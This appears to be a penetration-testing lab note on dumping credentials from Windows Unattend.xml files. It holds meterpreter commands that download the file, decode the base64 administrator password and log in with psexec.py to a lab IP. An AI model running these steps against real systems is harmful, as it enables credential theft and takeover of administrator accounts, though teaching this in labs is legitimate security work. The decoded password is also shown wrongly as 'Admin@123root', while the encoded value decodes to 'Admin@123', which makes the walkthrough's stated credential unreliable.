# Credentials Dumping

#### Passwords Configuration Files <a href="#passwords-configuration-files" id="passwords-configuration-files"></a>

Windows configuration files can contain stored passwords, `e.g.` in the *Unattended Windows Setup* utility, used to mass deploy Windows on systems.

* The configuration file can contain specific configurations and user account credentials
* An attacker can find the configuration file left on the target after installation

The utility typically utilizes those [files](https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/update-windows-settings-and-scripts-create-your-own-answer-file-sxs?view=windows-11):

`C:\Windows\Panther\Unattend.xml`

`C:\Windows\Panther\Autounattend.xml`

* The stored passwords might be encoded in **`base64`** (easily decodable).

## #Exploitation

After getting a meterpreter session or shell session follow the follwing technique:-

* Manually search for the **`unattend.xml`** file, it should be inside
  * `C:\\Windows\\Panther`

```
cd C:\\Windows\\Panther
dir
download unattend.xml
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2FKpo9XVtN5jJsqICMDzBI%2Fimage.png?alt=media&#x26;token=cbf4e09a-d9ae-409c-bedb-243550042a40" alt="" width="563"><figcaption></figcaption></figure>

* In a new terminal tab

```
cat unattend.xml
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2F13I1UtBqLknK4P7wdYoq%2Fimage.png?alt=media&#x26;token=5ba6a2e6-09a6-4973-b760-b4af90f1033e" alt="" width="563"><figcaption></figcaption></figure>

#### Get Access <a href="#get-access" id="get-access"></a>

* `administrator` user configured base64 password is **`QWRtaW5AMTIz`**
  * Save it to a new file
  * Decode it using the `base64` tool

```
nano password.txt
# paste the password, save and exit the file

base64 -d password.txt 
	Admin@123root
```

<figure><img src="https://2323754756-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqOzKV4VHdQXzOvQKF5XH%2Fuploads%2F2Dhjs7C5OqIm2nxBrCms%2Fimage.png?alt=media&#x26;token=8de02341-3490-4bd8-914e-0c4d1ec351b1" alt=""><figcaption></figcaption></figure>

* Test the `administrator`:`Admin@123root` credentials with the `psexec` tool

```
psexec.py administrator@10.4.19.9
```

You have gained access to the administrator account&#x20;
